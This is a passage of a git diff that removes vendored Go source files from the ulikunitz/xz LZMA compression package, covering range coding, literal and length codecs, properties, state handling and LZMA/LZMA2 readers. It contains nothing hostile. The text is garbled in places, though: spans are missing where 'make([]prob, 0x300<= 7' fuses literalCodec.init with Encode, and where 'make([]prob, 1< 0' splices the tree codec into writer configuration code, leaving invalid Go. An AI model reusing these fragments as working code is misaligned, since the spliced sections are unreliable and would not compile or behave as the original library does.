*lengthCodec) Encode(e *rangeEncoder, l uint32, posState uint32, -) (err error) { - if l > maxMatchLen-minMatchLen { - return errors.New("lengthCodec.Encode: l out of range") - } - if l < 8 { - if err = lc.choice[0].Encode(e, 0); err != nil { - return - } - return lc.low[posState].Encode(e, l) - } - if err = lc.choice[0].Encode(e, 1); err != nil { - return - } - if l < 16 { - if err = lc.choice[1].Encode(e, 0); err != nil { - return - } - return lc.mid[posState].Encode(e, l-8) - } - if err = lc.choice[1].Encode(e, 1); err != nil { - return - } - if err = lc.high.Encode(e, l-16); err != nil { - return - } - return nil -} - -// Decode reads the length offset. Add minMatchLen to compute the actual length -// to the length offset l. -func (lc *lengthCodec) Decode(d *rangeDecoder, posState uint32, -) (l uint32, err error) { - var b uint32 - if b, err = lc.choice[0].Decode(d); err != nil { - return - } - if b == 0 { - l, err = lc.low[posState].Decode(d) - return - } - if b, err = lc.choice[1].Decode(d); err != nil { - return - } - if b == 0 { - l, err = lc.mid[posState].Decode(d) - l += 8 - return - } - l, err = lc.high.Decode(d) - l += 16 - return -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/literalcodec.go b/vendor/github.com/ulikunitz/xz/lzma/literalcodec.go deleted file mode 100644 index c949d6ebd1..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/literalcodec.go +++ /dev/null @@ -1,132 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -// literalCodec supports the encoding of literal. It provides 768 probability -// values per literal state. The upper 512 probabilities are used with the -// context of a match bit. -type literalCodec struct { - probs []prob -} - -// deepcopy initializes literal codec c as a deep copy of the source. -func (c *literalCodec) deepcopy(src *literalCodec) { - if c == src { - return - } - c.probs = make([]prob, len(src.probs)) - copy(c.probs, src.probs) -} - -// init initializes the literal codec. -func (c *literalCodec) init(lc, lp int) { - switch { - case !(minLC <= lc && lc <= maxLC): - panic("lc out of range") - case !(minLP <= lp && lp <= maxLP): - panic("lp out of range") - } - c.probs = make([]prob, 0x300<= 7 { - m := uint32(match) - for { - matchBit := (m >> 7) & 1 - m <<= 1 - bit := (r >> 7) & 1 - r <<= 1 - i := ((1 + matchBit) << 8) | symbol - if err = probs[i].Encode(e, bit); err != nil { - return - } - symbol = (symbol << 1) | bit - if matchBit != bit { - break - } - if symbol >= 0x100 { - break - } - } - } - for symbol < 0x100 { - bit := (r >> 7) & 1 - r <<= 1 - if err = probs[symbol].Encode(e, bit); err != nil { - return - } - symbol = (symbol << 1) | bit - } - return nil -} - -// Decode decodes a literal byte using the range decoder as well as the LZMA -// state, a match byte, and the literal state. -func (c *literalCodec) Decode(d *rangeDecoder, - state uint32, match byte, litState uint32, -) (s byte, err error) { - k := litState * 0x300 - probs := c.probs[k : k+0x300] - symbol := uint32(1) - if state >= 7 { - m := uint32(match) - for { - matchBit := (m >> 7) & 1 - m <<= 1 - i := ((1 + matchBit) << 8) | symbol - bit, err := d.DecodeBit(&probs[i]) - if err != nil { - return 0, err - } - symbol = (symbol << 1) | bit - if matchBit != bit { - break - } - if symbol >= 0x100 { - break - } - } - } - for symbol < 0x100 { - bit, err := d.DecodeBit(&probs[symbol]) - if err != nil { - return 0, err - } - symbol = (symbol << 1) | bit - } - s = byte(symbol - 0x100) - return s, nil -} - -// minLC and maxLC define the range for LC values. -const ( - minLC = 0 - maxLC = 8 -) - -// minLC and maxLC define the range for LP values. -const ( - minLP = 0 - maxLP = 4 -) - -// minState and maxState define a range for the state values stored in -// the State values. -const ( - minState = 0 - maxState = 11 -) diff --git a/vendor/github.com/ulikunitz/xz/lzma/matchalgorithm.go b/vendor/github.com/ulikunitz/xz/lzma/matchalgorithm.go deleted file mode 100644 index 4a244eb1ac..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/matchalgorithm.go +++ /dev/null @@ -1,52 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import "errors" - -// MatchAlgorithm identifies an algorithm to find matches in the -// dictionary. -type MatchAlgorithm byte - -// Supported matcher algorithms. -const ( - HashTable4 MatchAlgorithm = iota - BinaryTree -) - -// maStrings are used by the String method. -var maStrings = map[MatchAlgorithm]string{ - HashTable4: "HashTable4", - BinaryTree: "BinaryTree", -} - -// String returns a string representation of the Matcher. -func (a MatchAlgorithm) String() string { - if s, ok := maStrings[a]; ok { - return s - } - return "unknown" -} - -var errUnsupportedMatchAlgorithm = errors.New( - "lzma: unsupported match algorithm value") - -// verify checks whether the matcher value is supported. -func (a MatchAlgorithm) verify() error { - if _, ok := maStrings[a]; !ok { - return errUnsupportedMatchAlgorithm - } - return nil -} - -func (a MatchAlgorithm) new(dictCap int) (m matcher, err error) { - switch a { - case HashTable4: - return newHashTable(dictCap, 4) - case BinaryTree: - return newBinTree(dictCap) - } - return nil, errUnsupportedMatchAlgorithm -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/operation.go b/vendor/github.com/ulikunitz/xz/lzma/operation.go deleted file mode 100644 index 733bb99da4..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/operation.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" - "unicode" -) - -// operation represents an operation on the dictionary during encoding or -// decoding. -type operation interface { - Len() int -} - -// rep represents a repetition at the given distance and the given length -type match struct { - // supports all possible distance values, including the eos marker - distance int64 - // length - n int -} - -// verify checks whether the match is valid. If that is not the case an -// error is returned. -func (m match) verify() error { - if !(minDistance <= m.distance && m.distance <= maxDistance) { - return errors.New("distance out of range") - } - if !(1 <= m.n && m.n <= maxMatchLen) { - return errors.New("length out of range") - } - return nil -} - -// l return the l-value for the match, which is the difference of length -// n and 2. -func (m match) l() uint32 { - return uint32(m.n - minMatchLen) -} - -// dist returns the dist value for the match, which is one less of the -// distance stored in the match. -func (m match) dist() uint32 { - return uint32(m.distance - minDistance) -} - -// Len returns the number of bytes matched. -func (m match) Len() int { - return m.n -} - -// String returns a string representation for the repetition. -func (m match) String() string { - return fmt.Sprintf("M{%d,%d}", m.distance, m.n) -} - -// lit represents a single byte literal. -type lit struct { - b byte -} - -// Len returns 1 for the single byte literal. -func (l lit) Len() int { - return 1 -} - -// String returns a string representation for the literal. -func (l lit) String() string { - var c byte - if unicode.IsPrint(rune(l.b)) { - c = l.b - } else { - c = '.' - } - return fmt.Sprintf("L{%c/%02x}", c, l.b) -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/prob.go b/vendor/github.com/ulikunitz/xz/lzma/prob.go deleted file mode 100644 index 24d50ec681..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/prob.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -// movebits defines the number of bits used for the updates of probability -// values. -const movebits = 5 - -// probbits defines the number of bits of a probability value. -const probbits = 11 - -// probInit defines 0.5 as initial value for prob values. -const probInit prob = 1 << (probbits - 1) - -// Type prob represents probabilities. The type can also be used to encode and -// decode single bits. -type prob uint16 - -// Dec decreases the probability. The decrease is proportional to the -// probability value. -func (p *prob) dec() { - *p -= *p >> movebits -} - -// Inc increases the probability. The Increase is proportional to the -// difference of 1 and the probability value. -func (p *prob) inc() { - *p += ((1 << probbits) - *p) >> movebits -} - -// Computes the new bound for a given range using the probability value. -func (p prob) bound(r uint32) uint32 { - return (r >> probbits) * uint32(p) -} - -// Bits returns 1. One is the number of bits that can be encoded or decoded -// with a single prob value. -func (p prob) Bits() int { - return 1 -} - -// Encode encodes the least-significant bit of v. Note that the p value will be -// changed. -func (p *prob) Encode(e *rangeEncoder, v uint32) error { - return e.EncodeBit(v, p) -} - -// Decode decodes a single bit. Note that the p value will change. -func (p *prob) Decode(d *rangeDecoder) (v uint32, err error) { - return d.DecodeBit(p) -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/properties.go b/vendor/github.com/ulikunitz/xz/lzma/properties.go deleted file mode 100644 index 23418e25d2..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/properties.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" -) - -// maximum and minimum values for the LZMA properties. -const ( - minPB = 0 - maxPB = 4 -) - -// maxPropertyCode is the possible maximum of a properties code byte. -const maxPropertyCode = (maxPB+1)*(maxLP+1)*(maxLC+1) - 1 - -// Properties contains the parameters LC, LP and PB. The parameter LC -// defines the number of literal context bits; parameter LP the number -// of literal position bits and PB the number of position bits. -type Properties struct { - LC int - LP int - PB int -} - -// String returns the properties in a string representation. -func (p *Properties) String() string { - return fmt.Sprintf("LC %d LP %d PB %d", p.LC, p.LP, p.PB) -} - -// PropertiesForCode converts a properties code byte into a Properties value. -func PropertiesForCode(code byte) (p Properties, err error) { - if code > maxPropertyCode { - return p, errors.New("lzma: invalid properties code") - } - p.LC = int(code % 9) - code /= 9 - p.LP = int(code % 5) - code /= 5 - p.PB = int(code % 5) - return p, err -} - -// verify checks the properties for correctness. -func (p *Properties) verify() error { - if p == nil { - return errors.New("lzma: properties are nil") - } - if !(minLC <= p.LC && p.LC <= maxLC) { - return errors.New("lzma: lc out of range") - } - if !(minLP <= p.LP && p.LP <= maxLP) { - return errors.New("lzma: lp out of range") - } - if !(minPB <= p.PB && p.PB <= maxPB) { - return errors.New("lzma: pb out of range") - } - return nil -} - -// Code converts the properties to a byte. The function assumes that -// the properties components are all in range. -func (p Properties) Code() byte { - return byte((p.PB*5+p.LP)*9 + p.LC) -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/rangecodec.go b/vendor/github.com/ulikunitz/xz/lzma/rangecodec.go deleted file mode 100644 index 6361c5e7c8..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/rangecodec.go +++ /dev/null @@ -1,248 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "io" -) - -// rangeEncoder implements range encoding of single bits. The low value can -// overflow therefore we need uint64. The cache value is used to handle -// overflows. -type rangeEncoder struct { - lbw *LimitedByteWriter - nrange uint32 - low uint64 - cacheLen int64 - cache byte -} - -// maxInt64 provides the maximal value of the int64 type -const maxInt64 = 1<<63 - 1 - -// newRangeEncoder creates a new range encoder. -func newRangeEncoder(bw io.ByteWriter) (re *rangeEncoder, err error) { - lbw, ok := bw.(*LimitedByteWriter) - if !ok { - lbw = &LimitedByteWriter{BW: bw, N: maxInt64} - } - return &rangeEncoder{ - lbw: lbw, - nrange: 0xffffffff, - cacheLen: 1}, nil -} - -// Available returns the number of bytes that still can be written. The -// method takes the bytes that will be currently written by Close into -// account. -func (e *rangeEncoder) Available() int64 { - return e.lbw.N - (e.cacheLen + 4) -} - -// writeByte writes a single byte to the underlying writer. An error is -// returned if the limit is reached. The written byte will be counted if -// the underlying writer doesn't return an error. -func (e *rangeEncoder) writeByte(c byte) error { - if e.Available() < 1 { - return ErrLimit - } - return e.lbw.WriteByte(c) -} - -// DirectEncodeBit encodes the least-significant bit of b with probability 1/2. -func (e *rangeEncoder) DirectEncodeBit(b uint32) error { - e.nrange >>= 1 - e.low += uint64(e.nrange) & (0 - (uint64(b) & 1)) - - // normalize - const top = 1 << 24 - if e.nrange >= top { - return nil - } - e.nrange <<= 8 - return e.shiftLow() -} - -// EncodeBit encodes the least significant bit of b. The p value will be -// updated by the function depending on the bit encoded. -func (e *rangeEncoder) EncodeBit(b uint32, p *prob) error { - bound := p.bound(e.nrange) - if b&1 == 0 { - e.nrange = bound - p.inc() - } else { - e.low += uint64(bound) - e.nrange -= bound - p.dec() - } - - // normalize - const top = 1 << 24 - if e.nrange >= top { - return nil - } - e.nrange <<= 8 - return e.shiftLow() -} - -// Close writes a complete copy of the low value. -func (e *rangeEncoder) Close() error { - for i := 0; i < 5; i++ { - if err := e.shiftLow(); err != nil { - return err - } - } - return nil -} - -// shiftLow shifts the low value for 8 bit. The shifted byte is written into -// the byte writer. The cache value is used to handle overflows. -func (e *rangeEncoder) shiftLow() error { - if uint32(e.low) < 0xff000000 || (e.low>>32) != 0 { - tmp := e.cache - for { - err := e.writeByte(tmp + byte(e.low>>32)) - if err != nil { - return err - } - tmp = 0xff - e.cacheLen-- - if e.cacheLen <= 0 { - if e.cacheLen < 0 { - panic("negative cacheLen") - } - break - } - } - e.cache = byte(uint32(e.low) >> 24) - } - e.cacheLen++ - e.low = uint64(uint32(e.low) << 8) - return nil -} - -// rangeDecoder decodes single bits of the range encoding stream. -type rangeDecoder struct { - br io.ByteReader - nrange uint32 - code uint32 -} - -// init initializes the range decoder, by reading from the byte reader. -func (d *rangeDecoder) init() error { - d.nrange = 0xffffffff - d.code = 0 - - b, err := d.br.ReadByte() - if err != nil { - return err - } - if b != 0 { - return errors.New("newRangeDecoder: first byte not zero") - } - - for i := 0; i < 4; i++ { - if err = d.updateCode(); err != nil { - return err - } - } - - if d.code >= d.nrange { - return errors.New("newRangeDecoder: d.code >= d.nrange") - } - - return nil -} - -// newRangeDecoder initializes a range decoder. It reads five bytes from the -// reader and therefore may return an error. -func newRangeDecoder(br io.ByteReader) (d *rangeDecoder, err error) { - d = &rangeDecoder{br: br, nrange: 0xffffffff} - - b, err := d.br.ReadByte() - if err != nil { - return nil, err - } - if b != 0 { - return nil, errors.New("newRangeDecoder: first byte not zero") - } - - for i := 0; i < 4; i++ { - if err = d.updateCode(); err != nil { - return nil, err - } - } - - if d.code >= d.nrange { - return nil, errors.New("newRangeDecoder: d.code >= d.nrange") - } - - return d, nil -} - -// possiblyAtEnd checks whether the decoder may be at the end of the stream. -func (d *rangeDecoder) possiblyAtEnd() bool { - return d.code == 0 -} - -// DirectDecodeBit decodes a bit with probability 1/2. The return value b will -// contain the bit at the least-significant position. All other bits will be -// zero. -func (d *rangeDecoder) DirectDecodeBit() (b uint32, err error) { - d.nrange >>= 1 - d.code -= d.nrange - t := 0 - (d.code >> 31) - d.code += d.nrange & t - b = (t + 1) & 1 - - // d.code will stay less then d.nrange - - // normalize - // assume d.code < d.nrange - const top = 1 << 24 - if d.nrange >= top { - return b, nil - } - d.nrange <<= 8 - // d.code < d.nrange will be maintained - return b, d.updateCode() -} - -// decodeBit decodes a single bit. The bit will be returned at the -// least-significant position. All other bits will be zero. The probability -// value will be updated. -func (d *rangeDecoder) DecodeBit(p *prob) (b uint32, err error) { - bound := p.bound(d.nrange) - if d.code < bound { - d.nrange = bound - p.inc() - b = 0 - } else { - d.code -= bound - d.nrange -= bound - p.dec() - b = 1 - } - // normalize - // assume d.code < d.nrange - const top = 1 << 24 - if d.nrange >= top { - return b, nil - } - d.nrange <<= 8 - // d.code < d.nrange will be maintained - return b, d.updateCode() -} - -// updateCode reads a new byte into the code. -func (d *rangeDecoder) updateCode() error { - b, err := d.br.ReadByte() - if err != nil { - return err - } - d.code = (d.code << 8) | uint32(b) - return nil -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/reader.go b/vendor/github.com/ulikunitz/xz/lzma/reader.go deleted file mode 100644 index 2ef3dcaaa9..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/reader.go +++ /dev/null @@ -1,100 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package lzma supports the decoding and encoding of LZMA streams. -// Reader and Writer support the classic LZMA format. Reader2 and -// Writer2 support the decoding and encoding of LZMA2 streams. -// -// The package is written completely in Go and doesn't rely on any external -// library. -package lzma - -import ( - "errors" - "io" -) - -// ReaderConfig stores the parameters for the reader of the classic LZMA -// format. -type ReaderConfig struct { - DictCap int -} - -// fill converts the zero values of the configuration to the default values. -func (c *ReaderConfig) fill() { - if c.DictCap == 0 { - c.DictCap = 8 * 1024 * 1024 - } -} - -// Verify checks the reader configuration for errors. Zero values will -// be replaced by default values. -func (c *ReaderConfig) Verify() error { - c.fill() - if !(MinDictCap <= c.DictCap && int64(c.DictCap) <= MaxDictCap) { - return errors.New("lzma: dictionary capacity is out of range") - } - return nil -} - -// Reader provides a reader for LZMA files or streams. -type Reader struct { - lzma io.Reader - h header - d *decoder -} - -// NewReader creates a new reader for an LZMA stream using the classic -// format. NewReader reads and checks the header of the LZMA stream. -func NewReader(lzma io.Reader) (r *Reader, err error) { - return ReaderConfig{}.NewReader(lzma) -} - -// NewReader creates a new reader for an LZMA stream in the classic -// format. The function reads and verifies the the header of the LZMA -// stream. -func (c ReaderConfig) NewReader(lzma io.Reader) (r *Reader, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - data := make([]byte, HeaderLen) - if _, err := io.ReadFull(lzma, data); err != nil { - if err == io.EOF { - return nil, errors.New("lzma: unexpected EOF") - } - return nil, err - } - r = &Reader{lzma: lzma} - if err = r.h.unmarshalBinary(data); err != nil { - return nil, err - } - if r.h.dictCap < MinDictCap { - return nil, errors.New("lzma: dictionary capacity too small") - } - dictCap := r.h.dictCap - if c.DictCap > dictCap { - dictCap = c.DictCap - } - - state := newState(r.h.properties) - dict, err := newDecoderDict(dictCap) - if err != nil { - return nil, err - } - r.d, err = newDecoder(ByteReader(lzma), state, dict, r.h.size) - if err != nil { - return nil, err - } - return r, nil -} - -// EOSMarker indicates that an EOS marker has been encountered. -func (r *Reader) EOSMarker() bool { - return r.d.eosMarker -} - -// Read returns uncompressed data. -func (r *Reader) Read(p []byte) (n int, err error) { - return r.d.Read(p) -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/reader2.go b/vendor/github.com/ulikunitz/xz/lzma/reader2.go deleted file mode 100644 index a55cfaa4e3..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/reader2.go +++ /dev/null @@ -1,232 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "io" - - "github.com/ulikunitz/xz/internal/xlog" -) - -// Reader2Config stores the parameters for the LZMA2 reader. -// format. -type Reader2Config struct { - DictCap int -} - -// fill converts the zero values of the configuration to the default values. -func (c *Reader2Config) fill() { - if c.DictCap == 0 { - c.DictCap = 8 * 1024 * 1024 - } -} - -// Verify checks the reader configuration for errors. Zero configuration values -// will be replaced by default values. -func (c *Reader2Config) Verify() error { - c.fill() - if !(MinDictCap <= c.DictCap && int64(c.DictCap) <= MaxDictCap) { - return errors.New("lzma: dictionary capacity is out of range") - } - return nil -} - -// Reader2 supports the reading of LZMA2 chunk sequences. Note that the -// first chunk should have a dictionary reset and the first compressed -// chunk a properties reset. The chunk sequence may not be terminated by -// an end-of-stream chunk. -type Reader2 struct { - r io.Reader - err error - - dict *decoderDict - ur *uncompressedReader - decoder *decoder - chunkReader io.Reader - - cstate chunkState - ctype chunkType -} - -// NewReader2 creates a reader for an LZMA2 chunk sequence. -func NewReader2(lzma2 io.Reader) (r *Reader2, err error) { - return Reader2Config{}.NewReader2(lzma2) -} - -// NewReader2 creates an LZMA2 reader using the given configuration. -func (c Reader2Config) NewReader2(lzma2 io.Reader) (r *Reader2, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - r = &Reader2{r: lzma2, cstate: start} - r.dict, err = newDecoderDict(c.DictCap) - if err != nil { - return nil, err - } - if err = r.startChunk(); err != nil { - r.err = err - } - return r, nil -} - -// uncompressed tests whether the chunk type specifies an uncompressed -// chunk. -func uncompressed(ctype chunkType) bool { - return ctype == cU || ctype == cUD -} - -// startChunk parses a new chunk. -func (r *Reader2) startChunk() error { - r.chunkReader = nil - header, err := readChunkHeader(r.r) - if err != nil { - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return err - } - xlog.Debugf("chunk header %v", header) - if err = r.cstate.next(header.ctype); err != nil { - return err - } - if r.cstate == stop { - return io.EOF - } - if header.ctype == cUD || header.ctype == cLRND { - r.dict.Reset() - } - size := int64(header.uncompressed) + 1 - if uncompressed(header.ctype) { - if r.ur != nil { - r.ur.Reopen(r.r, size) - } else { - r.ur = newUncompressedReader(r.r, r.dict, size) - } - r.chunkReader = r.ur - return nil - } - br := ByteReader(io.LimitReader(r.r, int64(header.compressed)+1)) - if r.decoder == nil { - state := newState(header.props) - r.decoder, err = newDecoder(br, state, r.dict, size) - if err != nil { - return err - } - r.chunkReader = r.decoder - return nil - } - switch header.ctype { - case cLR: - r.decoder.State.Reset() - case cLRN, cLRND: - r.decoder.State = newState(header.props) - } - err = r.decoder.Reopen(br, size) - if err != nil { - return err - } - r.chunkReader = r.decoder - return nil -} - -// Read reads data from the LZMA2 chunk sequence. -func (r *Reader2) Read(p []byte) (n int, err error) { - if r.err != nil { - return 0, r.err - } - for n < len(p) { - var k int - k, err = r.chunkReader.Read(p[n:]) - n += k - if err != nil { - if err == io.EOF { - err = r.startChunk() - if err == nil { - continue - } - } - r.err = err - return n, err - } - if k == 0 { - r.err = errors.New("lzma: Reader2 doesn't get data") - return n, r.err - } - } - return n, nil -} - -// EOS returns whether the LZMA2 stream has been terminated by an -// end-of-stream chunk. -func (r *Reader2) EOS() bool { - return r.cstate == stop -} - -// uncompressedReader is used to read uncompressed chunks. -type uncompressedReader struct { - lr io.LimitedReader - Dict *decoderDict - eof bool - err error -} - -// newUncompressedReader initializes a new uncompressedReader. -func newUncompressedReader(r io.Reader, dict *decoderDict, size int64) *uncompressedReader { - ur := &uncompressedReader{ - lr: io.LimitedReader{R: r, N: size}, - Dict: dict, - } - return ur -} - -// Reopen reinitializes an uncompressed reader. -func (ur *uncompressedReader) Reopen(r io.Reader, size int64) { - ur.err = nil - ur.eof = false - ur.lr = io.LimitedReader{R: r, N: size} -} - -// fill reads uncompressed data into the dictionary. -func (ur *uncompressedReader) fill() error { - if !ur.eof { - n, err := io.CopyN(ur.Dict, &ur.lr, int64(ur.Dict.Available())) - if err != io.EOF { - return err - } - ur.eof = true - if n > 0 { - return nil - } - } - if ur.lr.N != 0 { - return io.ErrUnexpectedEOF - } - return io.EOF -} - -// Read reads uncompressed data from the limited reader. -func (ur *uncompressedReader) Read(p []byte) (n int, err error) { - if ur.err != nil { - return 0, ur.err - } - for { - var k int - k, err = ur.Dict.Read(p[n:]) - n += k - if n >= len(p) { - return n, nil - } - if err != nil { - break - } - err = ur.fill() - if err != nil { - break - } - } - ur.err = err - return n, err -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/state.go b/vendor/github.com/ulikunitz/xz/lzma/state.go deleted file mode 100644 index 502351052f..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/state.go +++ /dev/null @@ -1,151 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -// states defines the overall state count -const states = 12 - -// State maintains the full state of the operation encoding or decoding -// process. -type state struct { - rep [4]uint32 - isMatch [states << maxPosBits]prob - isRepG0Long [states << maxPosBits]prob - isRep [states]prob - isRepG0 [states]prob - isRepG1 [states]prob - isRepG2 [states]prob - litCodec literalCodec - lenCodec lengthCodec - repLenCodec lengthCodec - distCodec distCodec - state uint32 - posBitMask uint32 - Properties Properties -} - -// initProbSlice initializes a slice of probabilities. -func initProbSlice(p []prob) { - for i := range p { - p[i] = probInit - } -} - -// Reset sets all state information to the original values. -func (s *state) Reset() { - p := s.Properties - *s = state{ - Properties: p, - // dict: s.dict, - posBitMask: (uint32(1) << uint(p.PB)) - 1, - } - initProbSlice(s.isMatch[:]) - initProbSlice(s.isRep[:]) - initProbSlice(s.isRepG0[:]) - initProbSlice(s.isRepG1[:]) - initProbSlice(s.isRepG2[:]) - initProbSlice(s.isRepG0Long[:]) - s.litCodec.init(p.LC, p.LP) - s.lenCodec.init() - s.repLenCodec.init() - s.distCodec.init() -} - -// initState initializes the state. -func initState(s *state, p Properties) { - *s = state{Properties: p} - s.Reset() -} - -// newState creates a new state from the give Properties. -func newState(p Properties) *state { - s := &state{Properties: p} - s.Reset() - return s -} - -// deepcopy initializes s as a deep copy of the source. -func (s *state) deepcopy(src *state) { - if s == src { - return - } - s.rep = src.rep - s.isMatch = src.isMatch - s.isRepG0Long = src.isRepG0Long - s.isRep = src.isRep - s.isRepG0 = src.isRepG0 - s.isRepG1 = src.isRepG1 - s.isRepG2 = src.isRepG2 - s.litCodec.deepcopy(&src.litCodec) - s.lenCodec.deepcopy(&src.lenCodec) - s.repLenCodec.deepcopy(&src.repLenCodec) - s.distCodec.deepcopy(&src.distCodec) - s.state = src.state - s.posBitMask = src.posBitMask - s.Properties = src.Properties -} - -// cloneState creates a new clone of the give state. -func cloneState(src *state) *state { - s := new(state) - s.deepcopy(src) - return s -} - -// updateStateLiteral updates the state for a literal. -func (s *state) updateStateLiteral() { - switch { - case s.state < 4: - s.state = 0 - return - case s.state < 10: - s.state -= 3 - return - } - s.state -= 6 -} - -// updateStateMatch updates the state for a match. -func (s *state) updateStateMatch() { - if s.state < 7 { - s.state = 7 - } else { - s.state = 10 - } -} - -// updateStateRep updates the state for a repetition. -func (s *state) updateStateRep() { - if s.state < 7 { - s.state = 8 - } else { - s.state = 11 - } -} - -// updateStateShortRep updates the state for a short repetition. -func (s *state) updateStateShortRep() { - if s.state < 7 { - s.state = 9 - } else { - s.state = 11 - } -} - -// states computes the states of the operation codec. -func (s *state) states(dictHead int64) (state1, state2, posState uint32) { - state1 = s.state - posState = uint32(dictHead) & s.posBitMask - state2 = (s.state << maxPosBits) | posState - return -} - -// litState computes the literal state. -func (s *state) litState(prev byte, dictHead int64) uint32 { - lp, lc := uint(s.Properties.LP), uint(s.Properties.LC) - litState := ((uint32(dictHead) & ((1 << lp) - 1)) << lc) | - (uint32(prev) >> (8 - lc)) - return litState -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/treecodecs.go b/vendor/github.com/ulikunitz/xz/lzma/treecodecs.go deleted file mode 100644 index 504b3d78e4..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/treecodecs.go +++ /dev/null @@ -1,133 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -// treeCodec encodes or decodes values with a fixed bit size. It is using a -// tree of probability value. The root of the tree is the most-significant bit. -type treeCodec struct { - probTree -} - -// makeTreeCodec makes a tree codec. The bits value must be inside the range -// [1,32]. -func makeTreeCodec(bits int) treeCodec { - return treeCodec{makeProbTree(bits)} -} - -// deepcopy initializes tc as a deep copy of the source. -func (tc *treeCodec) deepcopy(src *treeCodec) { - tc.probTree.deepcopy(&src.probTree) -} - -// Encode uses the range encoder to encode a fixed-bit-size value. -func (tc *treeCodec) Encode(e *rangeEncoder, v uint32) (err error) { - m := uint32(1) - for i := int(tc.bits) - 1; i >= 0; i-- { - b := (v >> uint(i)) & 1 - if err := e.EncodeBit(b, &tc.probs[m]); err != nil { - return err - } - m = (m << 1) | b - } - return nil -} - -// Decodes uses the range decoder to decode a fixed-bit-size value. Errors may -// be caused by the range decoder. -func (tc *treeCodec) Decode(d *rangeDecoder) (v uint32, err error) { - m := uint32(1) - for j := 0; j < int(tc.bits); j++ { - b, err := d.DecodeBit(&tc.probs[m]) - if err != nil { - return 0, err - } - m = (m << 1) | b - } - return m - (1 << uint(tc.bits)), nil -} - -// treeReverseCodec is another tree codec, where the least-significant bit is -// the start of the probability tree. -type treeReverseCodec struct { - probTree -} - -// deepcopy initializes the treeReverseCodec as a deep copy of the -// source. -func (tc *treeReverseCodec) deepcopy(src *treeReverseCodec) { - tc.probTree.deepcopy(&src.probTree) -} - -// makeTreeReverseCodec creates treeReverseCodec value. The bits argument must -// be in the range [1,32]. -func makeTreeReverseCodec(bits int) treeReverseCodec { - return treeReverseCodec{makeProbTree(bits)} -} - -// Encode uses range encoder to encode a fixed-bit-size value. The range -// encoder may cause errors. -func (tc *treeReverseCodec) Encode(v uint32, e *rangeEncoder) (err error) { - m := uint32(1) - for i := uint(0); i < uint(tc.bits); i++ { - b := (v >> i) & 1 - if err := e.EncodeBit(b, &tc.probs[m]); err != nil { - return err - } - m = (m << 1) | b - } - return nil -} - -// Decodes uses the range decoder to decode a fixed-bit-size value. Errors -// returned by the range decoder will be returned. -func (tc *treeReverseCodec) Decode(d *rangeDecoder) (v uint32, err error) { - m := uint32(1) - for j := uint(0); j < uint(tc.bits); j++ { - b, err := d.DecodeBit(&tc.probs[m]) - if err != nil { - return 0, err - } - m = (m << 1) | b - v |= b << j - } - return v, nil -} - -// probTree stores enough probability values to be used by the treeEncode and -// treeDecode methods of the range coder types. -type probTree struct { - probs []prob - bits byte -} - -// deepcopy initializes the probTree value as a deep copy of the source. -func (t *probTree) deepcopy(src *probTree) { - if t == src { - return - } - t.probs = make([]prob, len(src.probs)) - copy(t.probs, src.probs) - t.bits = src.bits -} - -// makeProbTree initializes a probTree structure. -func makeProbTree(bits int) probTree { - if !(1 <= bits && bits <= 32) { - panic("bits outside of range [1,32]") - } - t := probTree{ - bits: byte(bits), - probs: make([]prob, 1< 0 { - c.SizeInHeader = true - } - if !c.SizeInHeader { - c.EOSMarker = true - } -} - -// Verify checks WriterConfig for errors. Verify will replace zero -// values with default values. -func (c *WriterConfig) Verify() error { - c.fill() - var err error - if c == nil { - return errors.New("lzma: WriterConfig is nil") - } - if c.Properties == nil { - return errors.New("lzma: WriterConfig has no Properties set") - } - if err = 